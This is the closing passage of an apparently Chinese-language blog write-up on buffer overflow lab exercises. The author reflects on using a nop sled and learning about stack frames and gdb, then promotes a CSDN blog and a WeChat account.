  這幾個實驗還是比較好玩的,前四個都不難,稍加思考便能做出來。最後一個居然用到了nop sled,之前在看書的時候就好奇黑客是如何使用這些的,沒想到還真用到了。當然,對於黑客來說,這只是基礎中的基礎。做完這些實驗確實對於程式的棧幀結構有了更深的理解。更好地理解了C語言函式的組合語言,和緩衝區溢位的原理。掌握緩衝區溢位攻擊的設計方法,進一步熟悉了gdb的除錯。

  養成習慣,先贊後看!如果覺得寫的不錯,歡迎關注,點贊,轉發,謝謝!

如遇到排版錯亂的問題,可以通過以下連結訪問我的CSDN。

CSDN:CSDN搜尋“嵌入式與Linux那些事”

歡迎歡迎關注我的公眾號:嵌入式與Linux那些事,領取秋招筆試面試大禮包(華為小米等大廠面經,嵌入式知識點總結,筆試題目,簡歷模版等)和2000G學習資料。

相關文章